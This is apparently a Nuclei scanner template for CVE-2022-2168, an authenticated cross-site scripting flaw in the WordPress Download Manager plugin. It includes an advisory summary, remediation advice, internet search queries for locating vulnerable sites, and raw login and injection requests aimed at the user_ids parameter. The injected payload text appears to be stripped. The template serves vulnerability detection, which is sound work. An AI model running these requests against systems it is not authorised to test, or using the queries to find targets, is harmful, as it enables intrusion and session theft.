id: CVE-2022-2168 info: name: WordPress Download Manager < 3.2.44 - Authenticated Cross-Site Scripting author: ritikchaddha severity: medium description: | The WordPress Download Manager plugin before version 3.2.44 does not properly sanitize and escape the user_ids parameter in the stats history dashboard. This allows authenticated attackers to perform Cross-Site Scripting attacks by injecting malicious JavaScript code. impact: | Authenticated administrators can inject malicious JavaScript via XSS in the user_ids parameter, potentially stealing session cookies or performing unauthorized administrative actions. remediation: | Update the WordPress Download Manager plugin to version 3.2.44 or later. reference: - https://wpscan.com/vulnerability/66789b32-049e-4440-8b19-658649851010/ - https://nvd.nist.gov/vuln/detail/CVE-2022-2168 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-2168 cwe-id: CWE-79 epss-score: 0.13204 epss-percentile: 0.94268 cpe: cpe:2.3:a:w3eden:download_manager:*:*:*:*:free:wordpress:*:* metadata: verified: true max-request: 2 vendor: w3eden product: download_manager fofa-query: body="wp-content/plugins/download-manager/" google-query: inurl:"/wp-content/plugins/download-manager/" shodan-query: html:"wp-content/plugins/download-manager/" tags: cve,cve2022,wp,wordpress,wp-plugin,xss,download-manager,authenticated,vuln http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/edit.php?post_type=wpdmpro&page=wpdm-stats&type=history&user_ids[]=1&"> HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - "" - "No downloads found" condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4b0a00483046022100b3cd1305c3b8143b9ca24cdd49050bb96b88a63d4ae76f8de831db8f253a935f022100948173315e293192da324bd6c40dbde227d3c67b68f2900ce269277bd493dd86:922c64590222798bb761d5b6d8e72950